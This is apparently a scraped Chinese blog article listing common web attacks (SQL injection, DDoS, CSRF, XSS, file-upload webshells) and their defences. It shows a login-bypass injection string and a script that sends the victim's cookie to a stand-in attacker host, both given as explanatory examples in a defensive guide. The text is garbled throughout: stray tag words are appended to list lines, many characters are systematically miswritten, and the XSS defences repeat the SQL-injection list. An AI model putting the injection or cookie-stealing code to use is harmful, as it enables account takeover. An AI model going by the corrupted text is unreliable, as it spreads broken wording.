關於web常見的安全問題

1、 Web攻擊動機:php

一、惡做劇;html

二、關閉Web站點,拒絕正常服務;web

三、篡改Web網頁,損害企業名譽;正則表達式

四、免費瀏覽收費內容;shell

五、盜竊用戶隱私信息,例如手機號、Email等我的信息;數據庫

六、以用戶身份登執行非法操做,從而得到暴利;瀏覽器

七、以此爲跳板攻擊企業內網其餘系統;安全

八、網頁掛木馬,攻擊訪問網頁的特定用戶羣;服務器

九、仿冒系統發佈方,誘騙用戶執行危險操做,例如用木馬替換正常下載文件,要求用戶匯款等;cookie


2、 Web攻擊常見的方式:

 

一、SQL注入

攻擊者成功的向服務器提交惡意的SQL查詢代碼,程序在接收後錯誤的將攻擊者的輸入做爲查詢語句的一部分執行,致使原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。

舉例:' OR '1'='1

這是最多見的 SQL注入攻擊,當咱們輸如用戶名 admin ,而後密碼輸如' OR '1'=1='1的時候,咱們在查詢用戶名和密碼是否正確的時候,

原本要執行的是SELECT * FROM user WHERE username='' and password='',通過參數拼接後,會執行 SQL語句 SELECT * FROM user WHERE username='' and password='' OR '1'='1',這個時候1=1是成立,

天然就跳過驗證了。

防範:

1.永遠不要信任用戶的輸入,要對用戶的輸入進行校驗,能夠經過正則表達式,或限制長度,對單引號和雙"-"進行轉換等。

2.永遠不要使用動態拼裝SQL,可使用參數化的SQL或者直接使用存儲過程進行數據查詢存取。

3.永遠不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。

4.不要把機密信息明文存放,請加密或者hash掉密碼和敏感的信息。

 

二、DDOS攻擊

DDOS:分佈式拒絕服務攻擊(Distributed Denial of Service),簡單說就是發送大量請求是使服務器癱瘓。

DDos攻擊是在DOS攻擊基礎上的,能夠通俗理解,dos是單挑,而ddos是羣毆,由於現代技術的發展,dos攻擊的殺傷力下降,

因此出現了DDOS,攻擊者藉助公共網絡,將大數量的計算機設備聯合起來,向一個或多個目標進行攻擊。

在技術角度上,DDoS攻擊能夠針對網絡通信協議的各層,手段大體有:TCP類的SYN Flood、ACK Flood,

UDP類的Fraggle、Trinoo,DNS Query Flood,ICMP Flood,Slowloris類等等。

通常會根據攻擊目標的狀況,針對性的把技術手法混合,以達到最低的成本最難防護的目的,而且能夠進行合理的節奏控制,以及隱藏保護攻擊資源。

原理如圖所示:

 

DDOS防範:

一、反欺騙:對數據包的地址及端口的正確性進行驗證,同時進行反向探測。

二、 協議棧行爲模式分析:每一個數據包類型須要符合RFC(網絡傳輸協議)規定,這就好像每一個數據包都要有完整規範的着裝,只要不符合規範,就自動識別並將其過濾掉。

三、 特定應用防禦:非法流量老是有一些特定特徵的,這就比如即使你混進了顧客羣中,但你的行爲仍是會暴露出你的動機,好比老重複問店員同一個問題,老作一樣的動做,這樣你仍然仍是會被發現的。

四、帶寬控制:真實的訪問數據過大時,能夠限制其最大輸出的流量,以減小下游網絡系統的壓力。 

 

三、CSRF

中文名稱:跨站請求僞造。

你這能夠這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發送惡意請求。CSRF可以作的事情包括:以你名義發送郵件,發消息,盜取你的帳號,甚至於購買商品,虛擬貨幣轉帳......形成的問題包括:我的隱私泄露以及財產安全。

原理如圖所示:

CSRF防範:

服務器端防禦方法有不少,但總思想是一致的,就是在客戶端頁面增長僞隨機數。經過驗證碼的方法。

 

四、xss

中文名跨站腳本攻擊

是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。

XSS跨站腳本攻擊自己對Web服務器沒有直接的危害,它藉助網站進行傳播,使網站上大量用戶受到攻擊。

攻擊者通常經過留言、電子郵件或其餘途徑向受害者發送一個精心構造的惡意URL,當受害者在Web中打開該URL的時候,惡意腳本會在受害者的計算機上悄悄執行。

原理如圖所示:

XSS攻擊的危害,能夠將XSS分爲3類:

(1) 竊取用戶信息。黑客能夠利用跨站腳本漏洞盜取用戶cookie而獲得用戶在該站點的身份權限。如在DOM樹上新增圖片,用戶點擊後會將當前cookie發送到黑客服務器:
vari=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

(2) 劫持瀏覽器會話來執行惡意操做,如進行非法轉帳、強制發表日誌或電子郵件等。

(3) 強制彈廣告頁,刷流量和點擊率。

(4) 傳播跨站腳本蠕蟲。如著名的Samy (XSS)蠕蟲攻擊、新浪微博蠕蟲攻擊。

XSS防範:

1.首先代碼裏對用戶輸入的地方和變量都須要仔細檢查長度和對」<」 , 」>」 , 」;」 , 」’」 等字符作過濾;其次任何內容寫到頁面以前都必須加以encode,避免不當心把html tag 弄出來。這一個層面作好,至少能夠堵住超過一半的XSS 攻擊。

2.永遠不要使用動態拼裝SQL,可使用參數化的SQL或者直接使用存儲過程進行數據查詢存取。

3.永遠不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。

4.不要把機密信息明文存放,請加密或者hash掉密碼和敏感的信息。

 

五、上傳漏洞

WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也能夠將其稱之爲一種網頁後門。

上傳漏洞防範:

一、文件上傳的目錄設置爲不可執行

只要web容器沒法解析該目錄下面的文件,即便攻擊者上傳了腳本文件,服務器自己也不會受到影響,所以這一點相當重要。

二、判斷文件類型

在判斷文件類型時,能夠結合使用MIME Type、後綴檢查等方式。在文件類型檢查中,強烈推薦白名單方式,黑名單的方式已經無數次被證實是不可靠的。此外,對於圖片的處理,可使用壓縮函數或者resize函數,在處理圖片的同時破壞圖片中可能包含的HTML代碼。

三、使用隨機數改寫文件名和文件路徑

文件上傳若是要執行代碼,則須要用戶可以訪問到這個文件。在某些環境中,用戶能上傳,但不能訪問。若是應用了隨機數改寫了文件名和路徑,將極大地增長攻擊的成本。再來就是像shell.php.rar.rar和crossdomain.xml這種文件,都將由於重命名而沒法攻擊。

四、單獨設置文件服務器的域名

因爲瀏覽器同源策略的關係,一系列客戶端攻擊將失效,好比上傳crossdomain.xml、上傳包含Javascript的XSS利用等問題將獲得解決。

相關文章
相關標籤/搜索